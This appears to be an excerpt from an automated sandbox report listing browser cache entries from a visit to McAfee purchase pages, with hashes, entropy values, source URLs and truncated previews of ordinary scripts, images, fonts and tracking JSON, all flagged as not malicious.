Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@...........................G.............8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe.......I...W....pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe.......I...W....pixi............ipma..........................iref........auxl..........mdat.....!...T2...P.<P.+.!i.J.'....}X'.v....7z%^..+.M^...p.\|W<.#..b......S....4..hu}...:;...S.:.l~....8!.3P.t.......a..(..Mpt.Ge.r..c....i..H.n.\...f.9...Qm.Zc..0,..\|39.pZ=`)R......q.......z...0..c{.....W1'h...=\.;Gm....r.\.........R.j....^&.rap.q.M..mg..E%.!..4..R...?.V/.5gMB..n...R..Q....+dB.lj.6h.W...............D_.. ..`...`...-.......4Y..&...m.-.{....."\|.z./g...h&....K.$...#.1HA..SRXm.l.IM].(*..s..q(....8...#...=...zVC!..a..4....Q..,.3..]...3v..b.3..=n...XHo........@2..^z.r....[.......RI4.......0...\|uT...j....x......yK

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19863), with no line terminators
Category:	downloaded
Size (bytes):	19863
Entropy (8bit):	5.3447766218190145
Encrypted:	false
SSDEEP:	384:s40C/Kax6IcZb9QI0rcOZ4yjR8rSxnMhNgyyi82Xo4uc:Vr6IcZqInOnRHMrPyG1
MD5:	BC033C3A83E1880E480086BF11AC0B0A
SHA1:	35137329601CC7E9CECFFEA9B881C363D42799F5
SHA-256:	AEBE8DF81EE2BA5BC51E3ABC322910EE5122A0AC06EDFBCF7A04E1659D17DC9C
SHA-512:	45CB92F652D6D14F65FE7CDA19389A6C5BE8BADD7EF0110EAD45D045EC20A6037D0C21C594FD193387C49E5150E8B8FC559CF6476AAFBF2B33324993667516CE
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/wi/ytc.js
Preview:	!function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)n.d(r,i,function(t){return e[t]}.bind(null,i));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=0)}([function(e,t,n){"use strict";function r(){if("undefined"==typeof TextEncoder){window.Tex

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	2566
Entropy (8bit):	7.637024615716548
Encrypted:	false
SSDEEP:	48:rGo/jJdFVGVJmNbFUZBRxV1Y8vbLck2qCwVxZRLwePiKluypLR0FZY4aaVY:rGgdEG61hvckXbRHqUTKaaa
MD5:	1FDE0E25D41505641F83A99751D21511
SHA1:	2F8723AA2DD76D58A4C158E5373C8409FA72D861
SHA-256:	066FBC7277D5B9C95FCF6BCBD79F07ABD2A16626B920A3602955B1C140C4109F
SHA-512:	020AB361334DBBCA5C84AD5CA85A2AE60095E6B88C64F63920C81697FDB292F8AF5FAA0BF9A75FF31622D1F7DAA0E73A24E245C296C65FE1F7B10B29EB986047
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/subscription-exist.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@...................0.....................8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe................pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe................pixi............ipma..........................iref........auxl.........Rmdat........T2..... P..z..B..X.Z'.P{.2B.W./D.......9..yY.mY.w.@.....>.\.,1.......M...g.=./.?.X]8....{.......)....-79]..\../-B...S%......]........PyN\|..(m..Y_..A...^1.c..H......{\|......x..C....6..~+.%...Z(....>>...X6?...Z.j../..&.....U..4.*.WB.V...\=.....KZ.o.?...T.vx3./....)3>.+yw.bD(......p.=}Pk?.A...]..k.+V..k.9..<..09.S.uo..Dsu.S~,.my ......RI'..x.....7U.\\.;..s.........L-'....E....j..[..xZ/ L..P....\|..I.2....hGf.x.\|].:........4..rAv.h..@.u....wQ5.........../...\/}Ak].n.v...u\|.UN....Z..Y...U..o.....s^L..?......v..#.../.5D...

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7640), with no line terminators
Category:	downloaded
Size (bytes):	7640
Entropy (8bit):	5.972178891257596
Encrypted:	false
SSDEEP:	192:1DY0hf1bT47OIqWb1o/BYYJNA/BYYJNAqR:as1T47OIVm/BYGNUBYGNrR
MD5:	45F66F1199A0D265717D9ECA23F78DA2
SHA1:	5BE8040FA8326385D932AA0E2BA1E437DF378AE6
SHA-256:	AF7BB7971AA142B39E0D6D5DF0D91E8BE159AE9FA10B185EFA46C5DD4FEDACE6
SHA-512:	D4BECB8097BFCCDEA77995A06880A4540B8DFAAC4CFAD6099D58A1776A3FD7A42D4AC221DC47533981D30C10BF4E7609923668E14F1CA9ACE9F9CEE95C091BC9
Malicious:	false
Reputation:	low
URL:	https://www.googleadservices.com/pagead/conversion/740246542/?random=1727968793173&cv=11&fst=1727968793173&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&label=-JZGCILu-YkZEI6I_eAC&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&ec_m=%23error_emailSMALL%3Afalse%3A15%3Afalse1&ec_sel=%23error_email&ec_meta=SMALL%3Afalse%3A15%3Afalse&ec_lat=0&ec_s=1&fledge=1&capi=1&data=event%3Dconversion&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var h=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,d){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=d.value;return a};function k(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var d=a[b];if(d&&d.Math==Math)return d}throw Error("Cannot find global object");} var m=k(this),p=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",t={},v={};function w(a,b,d){if(!d\|\|a!=null){d=v[b];if(d==null)return a[b];d=a[d];return d!==void 0?d:a[b]}} function x(a,b,d){if(b)a:{var c=a.split(".");a=c.length===1;var e=c[0],g;!a&&e in t?g=t:g=m;for(e=0;e<c.length-1;e++){var f=c[e];if(!(f in g))break a;g=g[f]}c=c[c.length-1];d=p&&d==="es6"?g[c]:null;b=b(d);b!=null&&(a?h(t,c,{configurable:!0,writable:!0,value:b}):b!==d&&(v[c]===void 0&&(a=Math.random()*1E9>>>0,v[c]=p?m.Symbol(c):"$jscp$"+a+"$"+c),h(g,v[c],{co

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64912)
Category:	dropped
Size (bytes):	85104
Entropy (8bit):	5.171942265982366
Encrypted:	false
SSDEEP:	1536:RZ5aQU/uEtsjWidge+B9MHQJUQkbP3XDECmf:R/CCWidgU7bP3Q
MD5:	A41A7668FBF1B68FC309F94E010B1B71
SHA1:	BB3B57C769FEDFB20FE44F312DAAF6AEA4CE430C
SHA-256:	46EC3C72601C546BDA419A95D91BE94B598EDE0E8B758C7E075F1D73BE48BEFE
SHA-512:	321BAEDCB185287071C94FBB3E52FD8CC17D675ACB4DAC469F2100AEEBC3B9EE212D72CC4ED0171B626B54DEC52FD593F99C7B3CD78751658422F91B579BF464
Malicious:	false
Reputation:	low
Preview:	/*. Copyright 2019 Adobe. All rights reserved.. * This file is licensed to you under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License. You may obtain a copy. * of the License at http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software distributed under. * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS. * OF ANY KIND, either express or implied. See the License for the specific language. * governing permissions and limitations under the License.. */..!function(){"use strict";if(document.documentMode&&document.documentMode<11)console.warn("The Adobe Experience Cloud Web SDK does not support IE 10 and below.");else{var e="Chrome",n="Edge",t="EdgeChromium",r="Unknown",o=function(e,n){return-1!==e.indexOf(n)},i=[e,n,t,"IE",r],a=function(e){return o(i,e)},c=Object.getOwnPropertySymbols,u=Object.prototype.hasOwnProperty,s=Objec

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 166 x 180, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2574
Entropy (8bit):	7.763965569626457
Encrypted:	false
SSDEEP:	48:EP0xabymb5jclxE/FQoqIc7rf0wZqN3114lAb8tOd:EZbV5gLE/FQoPw64GOU
MD5:	8F0DB3EA1555410143D68BDB1D26C52A
SHA1:	3CCC0643F0D86004750AED3D1D439E3E6347F98D
SHA-256:	163EF2AB178C78FC7594AF3FB5EA2D2BCA515AC1E6F18F2317EE6DED5E2D5EAB
SHA-512:	3FD1392000FE5E07D574272FEB902AB921659A4EA84F4638A7C8B2086A3AB7790D7CEFAD219B93E22A6A6D5F0BAADE30A8039A00C7C84341D460467E5EAB20EF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............)H......PLTE...............................................x..y..{..{......z..z..z..x..z..z..z..{.....................................................................................................................................................z................................................................................................................................................................................\|\|qnngee...{wwliivrr......b``.........~~..............................................][[...............................................................................................................................5$.....<tRNS.@p` ......0P. p....0o.@.`..`..p....P........` ....@.@....%....orNT..w.....sRGB.........IDATx....{.E...M..%PT....h.7...l..R...Y..p.B.&.&..j..[.......x.x.YT.E....M6M..dgvwfg.....K....Mv8...GQ....j,q.rJ..+-sLp..L,.D..2..f...&8h.Tq....&....)I.c.L..R.r,..Z..O.R '.T..9s

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	64
Entropy (8bit):	4.492897276113269
Encrypted:	false
SSDEEP:	3:InEwpCkoSySv6yukbbkpYn:wpoSySv6yF8pY
MD5:	C0DDB93C144B94DA946DC9F727D05538
SHA1:	517BA8265D63543D2F4F2D3E2247A9A9CEE79E9D
SHA-256:	4760B35732ACF6B7C363E144C5FD126EAFEE7315885510FEAF23B0D53938D33F
SHA-512:	FE7BBEF81355A517C2124C01EBA6CB7460E36F0E608849E37721C23B53FE1C9349CBE949016BCD2CABF97629AAB127CC6318B5EC4F6ED87BDB2982580843AD73
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSLAn9uqUg1dGU6RIFDRVQj_4SBQ1a3e0uEgUNUopJoxIFDUC-9V0SBQ1AWQ9b?alt=proto
Preview:	Ci0KBw0VUI/+GgAKBw1a3e0uGgAKBw1SikmjGgAKBw1AvvVdGgAKBw1AWQ9bGgA=

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	528340
Entropy (8bit):	5.387073831093744
Encrypted:	false
SSDEEP:	12288:kDSZSASmwEhZyMnUQ5oFSDYLfGsFAXqIv:kSZSALYLf8
MD5:	D42624CBD117709F4CF3DBF33A47BD06
SHA1:	64AE3A477E3C412AAE3A6B54E8CB87A5230EE7C7
SHA-256:	496EE99C11C5CE6392EC26D7BC7F30E5E8D7DC9A6FF9F7AEC5D40D0E61318314
SHA-512:	7AA3D510921FF26604ABC96C6B1CD752BB550B291B70A301AEF502F1F6064D5E3D3C30A539DA32402FEC4751216166DD128FF2E230399389AA0D3D106ADDB5A0
Malicious:	false
Reputation:	low
Preview:	!function(e){function t(t){for(var r,o,s=t[0],l=t[1],c=t[2],u=0,p=[];u<s.length;u++)o=s[u],Object.prototype.hasOwnProperty.call(i,o)&&i[o]&&p.push(i[o][0]),i[o]=0;for(r in l)Object.prototype.hasOwnProperty.call(l,r)&&(e[r]=l[r]);for(d&&d(t);p.length;)p.shift()();return n.push.apply(n,c\|\|[]),a()}function a(){for(var e,t=0;t<n.length;t++){for(var a=n[t],r=!0,s=1;s<a.length;s++){var l=a[s];0!==i[l]&&(r=!1)}r&&(n.splice(t--,1),e=o(o.s=a[0]))}return e}var r={},i={1:0},n=[];function o(t){if(r[t])return r[t].exports;var a=r[t]={i:t,l:!1,exports:{}};return e[t].call(a.exports,a,a.exports,o),a.l=!0,a.exports}o.m=e,o.c=r,o.d=function(e,t,a){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:a})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var a=Object.create(null)

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	786
Entropy (8bit):	4.665424766205732
Encrypted:	false
SSDEEP:	24:tc1Qu5WoHVNhrRoYB9wWua6LjkSkZEJFJ1YkmvAU4/4GnhllP:ItRfrK4fJZZW3avxMR
MD5:	938FDB5ECAFB4BE8ACD4C02F92CC5555
SHA1:	8F93F7F4358EAA9919B09E6730D82601670B01C4
SHA-256:	6749F7F01334A56B3D0072E9EDC9E783008EE7A7E6FE06044C389935A562E5B1
SHA-512:	104DB74848751B0A08871C222837E12EA63C251A17561BBCCCD67B9842FF316AC5F3CE6772E1DEE1F939CEEF756E4474AFE75EE7140C46055BBCAE27F1354D3D
Malicious:	false
Reputation:	low
Preview:	<svg width="19" height="18" viewBox="0 0 19 18" fill="none" xmlns="http://www.w3.org/2000/svg">.<g id="Frame">.<path id="Vector" d="M10 7V10.125M17.5 9.5C17.5 10.4849 17.306 11.4602 16.9291 12.3701C16.5522 13.2801 15.9997 14.1069 15.3033 14.8033C14.6069 15.4997 13.7801 16.0522 12.8701 16.4291C11.9602 16.806 10.9849 17 10 17C9.01509 17 8.03982 16.806 7.12987 16.4291C6.21993 16.0522 5.39314 15.4997 4.6967 14.8033C4.00026 14.1069 3.44781 13.2801 3.0709 12.3701C2.69399 11.4602 2.5 10.4849 2.5 9.5C2.5 7.51088 3.29018 5.60322 4.6967 4.1967C6.10322 2.79018 8.01088 2 10 2C11.9891 2 13.8968 2.79018 15.3033 4.1967C16.7098 5.60322 17.5 7.51088 17.5 9.5ZM10 12.625H10.0067V12.6317H10V12.625Z" stroke="#C01818" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>.</g>.</svg>.

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	4.4486637418988915
Encrypted:	false
SSDEEP:	24:toT8HuXMM14EQuFFxDhhC4FBT/yqg5BdWVW9MM1Xbl7fACWCkdNTiEgRYJn:48O4EBF3TC4FZyuNbeSn
MD5:	96FB9449D3D9B3DC8F226FCEED6939C1
SHA1:	E1182C0049401C5044F001A64B583F6879904391
SHA-256:	791C691A6EFF3D57C1725C4A459502D84406FAD9C59ECDA0394C7886BA0FD695
SHA-512:	E62CE20CC62033A6BFF026FE72D220B1C30D6324F340E5EEB1A1AC07A313E4E0B02FF7A4078B6209677718B4870E9276DE5AE8A2CC2DE32A5A81C6F11F8BB377
Malicious:	false
Reputation:	low
Preview:	<svg width="37" height="40" viewBox="0 0 37 40" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M6.76042 14.4114C6.76042 13.9829 7.03685 13.0957 7.7655 12.3037C8.45447 11.5548 9.50376 10.9427 11 10.9427C12.4962 10.9427 13.5455 11.5548 14.2345 12.3037C14.9632 13.0957 15.2396 13.9829 15.2396 14.4114V19.0364H6.76042V14.4114ZM4.44792 19.0364V14.4114C4.44792 13.2983 5.0194 11.873 6.06366 10.738C7.14761 9.55976 8.79624 8.63019 11 8.63019C13.2038 8.63019 14.8524 9.55976 15.9363 10.738C16.9806 11.873 17.5521 13.2983 17.5521 14.4114V19.0364H18.7083C19.5598 19.0364 20.25 19.7267 20.25 20.5781V29.8281C20.25 30.6795 19.5598 31.3698 18.7083 31.3698H3.29167C2.44023 31.3698 1.75 30.6795 1.75 29.8281V20.5781C1.75 19.7267 2.44023 19.0364 3.29167 19.0364H4.44792Z" fill="#3F4652"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M27.0001 27.3334C31.6025 27.3334 35.3334 23.6024 35.3334 19C35.3334 14.3976 31.6025 10.6667 27.0001 10.6667C22.3977 10.6667 18.6

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2431
Entropy (8bit):	7.565682822495085
Encrypted:	false
SSDEEP:	48:lJwNn2xZmNDJ3AuRwwZD/eAklrCXtFmZJCSnLGXtJoL6Z0YDbYLoQ:342eNyuRlDGAlGZJDL+F0YDpQ
MD5:	FD22397DFE5D6D7349164CE82847FD53
SHA1:	DCC678C0C3C6D91D88B021081F280377FA65EE01
SHA-256:	3C6902C5ACB08E21FEF1AFB46BCF770245B6B942F0613D8063A5032065C4D317
SHA-512:	1396075412058CBB9E8C69E5F6E980C72730CDF4738CD38A2243C5881897F3D91BA006757CB77182428129A86939AAEBF85935824622E82478C69BECBDB36B02
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2......?......tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:4255B520EA7C11ED9738FB9437E53B71" xmpMM:DocumentID="xmp.did:4255B521EA7C11ED9738FB9437E53B71"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4255B51EEA7C11ED9738FB9437E53B71" stRef:documentID="xmp.did:4255B51FEA7C11ED9738FB9437E53B71"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..YHcg..o...D-I.i.I.".T...P..(h...>H...y)4...W.DQh)....LG.8J...)....L.....K.1...w..!.....^..\|0.....w.=

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	65
Entropy (8bit):	4.550848728540077
Encrypted:	false
SSDEEP:	3:YCMxvVUQE4aGOU9HJWpxXMcYU:YCM5VUhGOUiHcXU
MD5:	EC00912BD0B105E23E44C393D731FEFD
SHA1:	1B8363D4B74E210A1035E5403C5CBAC269ED60EC
SHA-256:	820644D77776E3BADDD5E967C4B8485AEDB305EE97C4EF4C00DED3E1111C0EE1
SHA-512:	C927FD93FDEA3B23791B744559803701FFD3931EFE8CDCCAA857B7F918923C0037DB5AED300984F1B5EB68123E56845B6294F7F5A212665B3D95FBDE4DD9EC96
Malicious:	false
Reputation:	low
URL:	https://my.rtmark.net/gid.js?pub=0&userId=&zoneId=6508804&checkDuplicate=true&ymid=&var=&source=pusher
Preview:	{"gid":"0180ea07f3dc4373ec03d20d44583ff0","skipSubscribe":false}.

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7776, version 1.0
Category:	downloaded
Size (bytes):	7776
Entropy (8bit):	7.968082783938681
Encrypted:	false
SSDEEP:	96:SDFV9xLb1fYNguLOM4cdOGezH/KK3L33+kQM7h25wHdVG2P1j2amxokdj1bEe4k5:SRLbaNj/1IL3u6h25wHuK1aadkJbgD2X
MD5:	84780596E268AA0CB2BE48AF2ED5C375
SHA1:	D67CCD32F8C790A746D64D06145882A2F7B06560
SHA-256:	D7BA57E3CCC2E3B2BDF8CC9E613194B802607682BF473293C2E3E29DE82C9491
SHA-512:	0E7B489A067BF54B58625421384D93AE793394D4993ED61E7509FBCAF31D4BDDF0D8451E69C9AF935B22DDB34B31278BDA75EA2C0A76E5E3C249615723026B77
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/fonts/poppins-v15-latin-500.woff2
Preview:	wOF2.......`......?p............................. .0.`..T..0....6..6.$..h. ..H....<2....Z..(W.&...n.p.+.0."!.....c.....C%....?FzBe...^qP....Ory.~.P....J.....!o.\!T.".7<....=.FO...%%..Z......9.E.s....k.-_.^....".\.]......hWT....s.r\Q...i.V...V.%..a.A.G........Eb+..x......' ...s.Z......^8...i._d"].<.IuP4Q............k.,...im.@.....U....=.....VT..`Q.(J..2t.......8...~.Z.D&:.....\V.U?.+..0b.&.`.LY.9N..."...d.aEtO..6@.Y/T.gc..e\..D...F..z.\...a%.w....x.@...v.<2}.!P.........g..v..(`.6.!.F....O.+g.6...J......)....B. .....8.0''>').<..p0Y}^."...^..j.9...Ms.joL.6...........z......>..0...~/'/Z._../..7.06../.+X{7.!J.0....$..k"..J`}>...2._.0...M...m^........Znyb ..q...k=...bD.=<.?.\..,.$u....>.6 F5Xi...G..'...QF.YBA......!..i..R.qn^.3l.@?..C..C.Ug3.N..:.5TU...,&..Lz=sg..5..0..d...y...SG..o3...LT.u...:.jj..2...a...K..k.R......}mm.v.[.+..............4.hBUzm...6.n.4.3Y.d..s...l0p...0L0........s..H=n"...d.$.-)...q....).5(...B....h.]..".x..Z..]..d....2.>...C.

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31097)
Category:	downloaded
Size (bytes):	31679
Entropy (8bit):	5.271837132150649
Encrypted:	false
SSDEEP:	768:doe1DinxW3G1pWLR7eFqng/ANBLJpnbZmlXpdFwVZwvKOLHH/XfO:6W3AY7ecbZm9jXO
MD5:	7E455D5634F3938FFEE110A036242780
SHA1:	70496C278000F63146C5D1FBE314683572C5E19A
SHA-256:	DA17AE35AC55E0884B3C3703D993752C651B537E237A9725F439F8110979DDAE
SHA-512:	B30EDAA6A91A15B11A59C9D956BC6DFA7D9A6BEE5124BA3EE99BF0462AC1F10197737D72F5E7AA9D71A8EF5BDED901A86A252D503B85B455A1CD46D9045DD41F
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/firebasejs/10.12.3/firebase-app-compat.js
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).firebase=t()}(this,function(){"use strict";const r=function(t){const r=[];let n=0;for(let i=0;i<t.length;i++){let e=t.charCodeAt(i);e<128?r[n++]=e:(e<2048?r[n++]=e>>6\|192:(55296==(64512&e)&&i+1<t.length&&56320==(64512&t.charCodeAt(i+1))?(e=65536+((1023&e)<<10)+(1023&t.charCodeAt(++i)),r[n++]=e>>18\|240,r[n++]=e>>12&63\|128):r[n++]=e>>12\|224,r[n++]=e>>6&63\|128),r[n++]=63&e\|128)}return r},n={byteToCharMap_:null,charToByteMap_:null,byteToCharMapWebSafe_:null,charToByteMapWebSafe_:null,ENCODED_VALS_BASE:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",get ENCODED_VALS(){return this.ENCODED_VALS_BASE+"+/="},get ENCODED_VALS_WEBSAFE(){return this.ENCODED_VALS_BASE+"-_."},HAS_NATIVE_SUPPORT:"function"==typeof atob,encodeByteArray(r,e){if(!Array.isArray(r))throw Error("encodeByteArray takes an

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	7678
Entropy (8bit):	5.007229521929771
Encrypted:	false
SSDEEP:	192:vlXeOQUKvcD4VjT/K9Pfk2McwcGm02Ou7Vcv1e2Rt:tTU2V7GZRt
MD5:	1FE339279F0FE354E5188494F5F6445D
SHA1:	82162D1F4ECB800A36D7CA84652BFD4E3E13EAA5
SHA-256:	41B21CF90621129D1A835579C368D1961EE55FC2B20B66374DF6DE0CBE4DF12C
SHA-512:	1593ACA6062F154528027AC024C8F42836DACE7347C7C06DFB79F5817F7C34AC0D5575EE4FB348AFACD989D2BFCF5747C8B74E0D9E9F00278293461CD64E8247
Malicious:	false
Reputation:	low
URL:	"https://c.go-mpulse.net/api/config.json?key=LXNDQ-3SP7Y-P3JVN-Y4HAH-VQNKC&d=www.mcafee.com&t=5759896&v=1.737.0&sl=0&si=1724b011-78bb-453d-91bd-8b93d3cf2018-sksd8m&plugins=AK,ConfigOverride,Continuity,PageParams,IFrameDelay,AutoXHR,SPA,History,Angular,Backbone,Ember,RT,CrossDomain,BW,PaintTiming,NavigationTiming,ResourceTiming,Memory,CACHE_RELOAD,Errors,TPAnalytics,UserTiming,Akamai,Early,EventTiming,LOGN&acao=&ak.ai=250743"
Preview:	{"h.key":"LXNDQ-3SP7Y-P3JVN-Y4HAH-VQNKC","h.d":"mcafee.com","h.t":1727968781816,"h.cr":"703f0c5fe20eafb709a097a058b8966bcc1bb57c-8a47b845-795b70ed","session_id":"019611b4-ff3e-402f-8f26-fe1775744e3e","site_domain":"mcafee.com","beacon_url":"//02179912.akstat.io/","autorun":true,"instrument_xhr":true,"beacon_interval":60,"BW":{"enabled":false},"RT":{"session_exp":1800},"ResourceTiming":{"enabled":true,"splitAtPath":true},"Errors":{"enabled":true,"monitorTimeout":true,"monitorEvents":true,"maxErrors":20,"sendAfterOnload":true,"sendInterval":1000},"Continuity":{"enabled":true},"TPAnalytics":{"enabled":true,"clientids":true},"PageParams":{"xhr":"match","pageGroups":[{"type":"Regexp","parameter1":"www.mcafee.com/?($\|\\?\|#)","parameter2":"Root","on":["navigation"]},{"type":"Regexp","parameter1":"moguid\\=9061C461\\-FE4B\\-49DE\\-AB82\\-004DE9FD95F3","parameter2":"CMS Cart East","on":["navigation"]},{"type":"Regexp","parameter1":"moguid\\=67D27C36\\-8ED3\\-4E5D\\-BC7F\\-9793A2549DBF","paramet

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	301102
Entropy (8bit):	5.909839607201678
Encrypted:	false
SSDEEP:	3072:750tIJ0pKi38Vy3YBmfXEZ2Ot73N4j1Pmm9m5epy35B4gmiILHOO2ALFtyDYNrSH:7UAVd2KI1T9m5Ky3D4gmiIeAXyDYNr8
MD5:	378624E0BB9183065E681DA9630FF934
SHA1:	808DBEE45BA74A22599283F9A0CC5183A28EC778
SHA-256:	018878C68459B09E8CE8F8E4A3B713CB913DDB5BC0DE9F4DED949CE79DD659E8
SHA-512:	6B882D76298AADC6EF6DBC8911981B3D04AD4FC10F12F3CB86C08CF90A1E8BAFD9881DA98C507EFC9F920F51B9D1898441BF80C3830B4F922B41F0B898888805
Malicious:	false
Reputation:	low
URL:	https://id.mcafee.com/AQOnL/m-z3/fu4N/5S/SCgcK/hcEQfNDpLGNLG5/KWVMWWlW/KG50Hwd/OaVgB
